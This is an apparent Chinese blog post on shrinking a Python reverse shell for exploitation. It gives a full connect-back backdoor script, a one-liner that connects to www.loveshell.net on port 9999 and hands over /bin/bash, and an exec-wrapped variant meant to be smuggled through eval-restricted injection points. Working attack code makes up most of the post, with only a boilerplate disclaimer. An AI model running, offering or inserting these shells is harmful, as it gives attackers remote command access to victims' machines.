Python反向Shell代码优化:从完整脚本到单行利用

季宁
季宁
发布时间:2026-10-13| 3人浏览过
原创

本文对比了完整的Python反向Shell脚本与单行精简版代码,探讨了在漏洞利用场景中如何压缩代码体积。针对eval环境限制,介绍了使用exec语句执行字符串代码的技巧,并分析了Python中exec与eval的区别及注意事项。

不知为何突然想研究这个,哈哈。
这里展示一段个人编写的Python反向Shell代码。
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()



这段代码在漏洞利用时显得过于冗长,不是吗?我们更希望代码尽可能短,以节省空间。

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");


怎么样?是不是短了很多?
不过,漏洞利用的环境可能不允许执行多语句,例如输入被限制在eval函数中时,无法使用分号分隔的多条语句(后文会解释)。此时,我们可以换一种方式处理。
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';


请注意这里的\\r\\n。即使在单引号内,\r\n也可能被视为换行符,因此即使不使用分号,也可以构造出正确的代码。另外,为什么不直接使用eval呢?
查阅了相关文档。
exec语句用于执行存储在字符串或文件中的Python语句。例如,可以在运行时生成包含Python代码的字符串,然后使用exec语句执行这些语句。



eval语句用于计算存储在字符串中的有效Python表达式。



呵呵,在这里使用eval似乎会出错。
思考一下,虽然核心思想相同,但具体到不同语言时实现方式各异。如何突破语言的限制,这是一个值得探讨的问题。
相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。